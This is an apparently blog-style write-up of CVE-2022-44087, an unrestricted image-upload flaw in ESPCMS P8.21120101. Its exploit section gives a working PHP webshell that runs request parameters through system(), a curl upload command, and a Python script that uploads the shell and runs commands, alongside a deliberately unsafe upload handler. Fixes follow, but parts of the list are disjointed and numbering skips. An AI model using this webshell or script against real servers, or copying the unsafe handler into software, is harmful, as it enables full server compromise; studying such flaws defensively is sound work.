---

Introduction

In late 2022, a serious vulnerability (CVE-2022-44087) was discovered in ESPCMS P8.21120101, a popular content management system widely used for building web portals in China. This security issue, rooted in the image upload feature, allows an attacker to execute arbitrary code on a vulnerable server.

References for further reading

We’ll keep the language simple so you can easily understand and test (responsibly!) this vulnerability.

What is ESPCMS and the UPFILE_PIC_ZOOM_HIGHT Vulnerability?

ESPCMS is a CMS platform with support for templates, plugins, and file uploads. Its admin dashboard allows uploading images and managing website contents.

In version P8.21120101, security researchers found that the UPFILE_PIC_ZOOM_HIGHT component (likely intended to resize, process, or handle uploaded pictures) does not validate file types or sanitize file contents properly.

This gives attackers an opportunity to upload malicious files, including PHP shell scripts, and achieve remote code execution (RCE) on the web server.

The vulnerable code does not

- Restrict allowed file extensions strictly (e.g., only .jpg/.png)

Below is a simplified version of what the vulnerable upload handler might look like

<?php
// Unsafe file upload handler (simplified)
$uploadDir = 'uploads/';
$file = $_FILES['upload'];

if(move_uploaded_file($file['tmp_name'], $uploadDir . $file['name'])) {
    echo "File uploaded!";
}
?>

No MIME type checking

- No check for PHP/HTML/JavaScript content

No upload path sanitization

If an attacker uploads a file named shell.php, it gets stored in uploads/shell.php, accessible directly via the browser.

Exploit: How Attackers Leverage CVE-2022-44087

Let’s get to the meat: how does someone actually exploit this?

The attacker creates a simple webshell - a small PHP file that accepts commands from the attacker

// shell.php
<?php
if(isset($_REQUEST['cmd'])){
    system($_REQUEST['cmd']);
}
?>

Step 2: Upload the Webshell

Using the vulnerable upload feature at /index.php/admin/upload (example endpoint), the attacker uploads shell.php as an image (no restriction is enforced).

Example with curl

curl -F "upload=@shell.php" http://vulnerable-site.com/index.php/admin/upload

If the upload goes through, the shell is available at

http://vulnerable-site.com/uploads/shell.php

Now, an attacker can run commands like

http://vulnerable-site.com/uploads/shell.php?cmd=whoami

Or, for more advanced shells, gain full control over the server.

Here's a compact Python script to upload and interact with the shell

import requests

# Target info
url = "http://vulnerable-site.com/index.php/admin/upload"
shell_url = "http://vulnerable-site.com/uploads/shell.php"

# Upload webshell
files = {'upload': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
r = requests.post(url, files=files)
if r.status_code == 200:
    print("[+] Shell uploaded!")

# Send a command
cmd = {"cmd": "id"}
resp = requests.get(shell_url, params=cmd)
print(resp.text)

How To Fix

The safest solution is to update your ESPCMS to the latest patched version.

Move uploads outside web root – Make uploaded content inaccessible as PHP scripts

5. Apply web server rules – Disable PHP execution in the upload directory (use .htaccess for Apache or config for NGINX)

Example .htaccess

# In uploads directory
php_flag engine off
RemoveHandler .php .phtml .php3

References

- NVD Entry: CVE-2022-44087
- Exploit Database: 51425 *(Proof of concept/Details)*
- Github: ESPCMS Issues *(May contain reports/patches)*

Conclusion

CVE-2022-44087 is a classic example of the dangers of insecure file uploads. Even a simple image upload can be a doorway for attackers if not handled safely. If you run ESPCMS P8.21120101, update immediately, or use the mitigations above.

For defenders, always assume user uploads may be malicious. For researchers, this is a great case study in how a single unchecked input can give an outsider full server access.

Be safe, patch early, code carefully!

*This post provides educational information only. Use responsibly and never attack devices without proper authorization.*

Timeline

Published on: 11/10/2022 15:15:00 UTC
Last modified on: 11/15/2022 19:53:00 UTC